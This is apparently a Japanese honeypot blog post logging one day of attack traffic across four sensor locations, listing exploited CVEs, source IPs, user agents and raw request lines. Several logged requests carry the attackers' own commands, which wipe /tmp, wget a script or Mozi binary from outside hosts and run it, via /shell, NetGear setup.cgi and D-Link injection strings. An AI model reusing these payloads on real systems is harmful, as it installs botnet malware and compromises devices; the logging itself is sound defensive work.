2022/10/21 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/10/21分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
zgrabによるスキャン行為
.jsへのスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
aiohttpによるスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き

を確認しました。

Location:US

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

Location:UK

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  neverwinwlaq.xyz/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

Location:SG

Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
aiohttpによるスキャン行為
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 109.206.241.129/666.sh;
sh /tmp/666.sh

他

アクセス数推移

JP：総アクセス数：141 (前日比：-66)
US：総アクセス数：92 (前日比：-18)
UK：総アクセス数：48 (前日比：-201)
SG：総アクセス数：140 (前日比：68)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.94.150.87	United States
40	3.237.85.123	United States
1	20.15.105.237	United States
1	20.41.112.53	United States
1	27.43.166.200	China
1	36.110.211.5	China
3	36.110.214.194	China
4	36.110.214.195	China
1	44.192.31.43	United States
1	45.61.186.4	United States
1	45.83.66.41	Germany
1	45.138.16.234	Netherlands
1	80.76.51.246	Bulgaria
2	93.177.103.215	Turkey
5	95.214.235.205	Ukraine
1	117.194.175.154	India
1	123.10.31.225	China
1	128.14.141.34	United States
13	128.199.2.117	United Kingdom
18	135.125.246.189	France
7	137.184.177.156	United States
4	138.197.163.24	United States
5	139.177.194.12	United States
4	143.244.129.144	United States
4	159.223.121.206	United States
4	159.223.221.77	United States
1	160.179.238.15	Morocco
4	165.232.167.125	United States
1	167.248.133.45	United States
1	167.248.133.118	United States
3	185.254.196.115	Ukraine
1	192.241.220.113	United States
2	193.142.146.35	Germany
1	198.235.24.154	United States
1	216.218.206.111	United States

UserAgent一覧

件数	UserAgent
32	`-`
2	`Abcd`
13	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
1	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`Roku/DVP-9.10 (289.10E04111A)`
3	`Wget/1.21`
5	`curl/7.29.0`
2	`curl/7.61.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-\x87\n`
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
1		`?\x17a\\>\xb2\xb5\xfaM;\x13\x15rIr,\v\xe1^\xa1+\xc5\x1c\xa1\x91I\xdd\n`
1		`Gh0st\xad`
1		`HELP`
1		`\x16\x03\x01\x01H\x01`
18		`\x16\x03\x01`
1		`\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n`
1		`\x87\xd6\x81\x0e\n`
1		`\xa7T\xd86W\xa7\xb0P]E\xa1\x9ay\xac\xfa\x11\x98\x93\n`
1		`\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n`
1		`u\xda\xa8V\x10\x92V&U\xbd\x80\xf1(\xa7`	gZ\xe5\xca!z\xc1\x88!\xc0MI\x8av\xc1\x88!{\xc5\xca!z\xc1\x8b)z\xc1\x88!z\xc1\x88!\xd0\xc1\x88!z\xc1\xa3\n
32	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/assets../.git/config`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/cgi-bin/.%2e/%2e%2e/.git/config`	HTTP/1.1
1	GET	`/cgi-bin/.%2e/.git/config`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/content../.git/config`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/css../.git/config`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
1	GET	`/events../.git/config`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/images../.git/config`	HTTP/1.1
1	GET	`/img../.git/config`	HTTP/1.1
1	GET	`/js../.git/config`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/lib../.git/config`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/media../.git/config`	HTTP/1.1
1	GET	`/myadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
1	GET	`/phpMyAdmin-2.10.3/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.1.2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.3/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0.2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin2/scripts/setup.php`	HTTP/1.1
1	GET	`/pma/scripts/setup.php`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//123[.]10[.]31[.]225:42759/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/static../.git/config`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cn/cmd`	HTTP/1.1
1	POST	`/dvr/cmd`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.41.112.53	United States
1	34.234.78.131	United States
1	35.92.97.249	United States
1	44.212.23.180	United States
1	45.55.35.71	United States
2	45.61.185.198	United States
1	45.61.186.4	United States
1	45.83.65.156	Germany
2	45.227.254.48	Belize
21	51.79.29.48	Canada
1	54.205.62.47	United States
1	64.62.197.104	United States
5	66.228.41.47	United States
1	69.71.5.2	United States
2	80.76.51.246	Bulgaria
1	85.31.46.34	Bulgaria
1	89.42.134.224	Italy
1	89.179.126.151	Russia
1	124.235.138.195	China
3	137.184.50.136	United States
3	143.198.45.83	United States
3	146.190.23.245	United States
2	152.89.196.211	Russia
1	154.16.115.249	South Africa
2	157.245.48.232	United States
2	162.142.125.210	United States
2	162.142.125.211	United States
7	164.92.150.243	United States
5	165.227.19.247	United States
2	167.94.138.120	United States
2	167.248.133.45	United States
1	172.104.242.173	United States
1	176.58.107.40	United States
4	183.136.225.35	China
1	192.241.213.120	United States
1	193.118.53.194	United States
1	193.142.146.35	Germany
1	194.26.29.31	Russia
1	195.178.120.116	Bulgaria
1	197.62.109.147	Egypt

UserAgent一覧

件数	UserAgent
30	`-`
1	`AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9`
1	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozila/5.0`
3	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
4	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
1	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
4	`curl/7.61.1`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`Gh0st\xad`
2		`HELP`
3		`\x03`
13		`\x16\x03\x01`
2		`\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
2		`\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n`
1	CONNECT	`mkzaim[.]ru:443`	HTTP/1.1
26	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
11	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
4	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.233.147.199	United States
1	41.216.78.126	Zambia
1	45.33.45.78	United States
2	45.61.185.198	United States
1	45.61.186.4	United States
1	45.83.65.14	Germany
1	54.199.160.145	United States
1	66.240.192.82	United States
1	66.240.205.34	United States
1	85.31.46.34	Bulgaria
2	90.151.171.108	Russia
1	128.14.134.134	United States
3	137.184.164.223	United States
7	143.110.240.114	United States
2	152.89.196.211	Russia
1	156.204.166.49	Egypt
2	162.142.125.213	United States
3	165.227.138.43	United States
2	167.94.145.60	United States
2	183.136.225.35	China
1	184.105.139.110	United States
4	185.163.109.66	Romania
1	192.241.214.172	United States
1	193.37.69.213	Russia
1	194.26.29.31	Russia
2	194.165.16.37	Panama
2	194.165.16.72	Panama

UserAgent一覧

件数	UserAgent
22	`-`
1	`Hello, world`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36`
2	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
1	`curl/7.61.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
6		`\x03`
8		`\x16\x03\x01`
1	CONNECT	`ip[.]bablosoft[.]com:443`	HTTP/1.1
1	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/version.js`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ neverwinwlaq.xyz/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`http[:]//ip[.]bablosoft[.]com/?Z72612114222Q1`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.236.43.220	United States
1	4.28.87.68	United States
1	40.76.249.22	United States
2	45.61.185.198	United States
1	45.61.186.4	United States
1	45.83.66.158	Germany
2	45.227.254.55	Belize
6	47.90.248.241	United States
5	51.79.29.48	Canada
17	54.37.79.75	France
1	66.240.192.82	United States
1	69.71.5.2	United States
2	93.177.103.215	Turkey
1	103.41.37.147	India
1	114.227.98.216	China
1	117.213.41.231	India
1	117.214.214.6	India
4	137.184.162.99	United States
6	139.162.146.254	Netherlands
18	139.162.237.108	Netherlands
2	152.89.196.211	Russia
3	157.245.105.227	United States
1	157.245.208.218	United States
4	165.232.191.142	United States
2	167.94.145.58	United States
2	167.94.146.57	United States
26	172.104.145.148	United States
5	172.105.55.112	United States
7	178.62.109.106	United States
2	183.136.225.35	China
1	184.105.247.207	United States
1	192.241.215.209	United States
2	193.56.29.26	United Kingdom
1	193.56.29.104	United Kingdom
1	193.118.53.194	United States
1	194.26.29.31	Russia
2	194.165.16.73	Panama
1	198.23.213.25	United States
1	198.235.24.136	United States
1	209.97.144.80	United States
1	210.186.144.141	Malaysia

UserAgent一覧

件数	UserAgent
34	`-`
15	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
2	`Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36`
1	`Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36`
2	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36`
26	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0`
2	`Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
4	`Mozilla/5.0`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`Report Runner`
1	`curl/7.61.1`
1	`curl/7.75.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
2		`HELP`
5		`\x03`
1		`\x14\xbb\x9av>\xff\xa9\x82\x0e\xea\x9a\x05`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x02`
13		`\x16\x03\x01`
1		`\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc`
1		`\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff`
1		`\xd1z\xb3\xe4<a`
1		`r\xa7\xba\xc2Q`
1	GET	`/.DS_Store`	HTTP/1.1
30	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
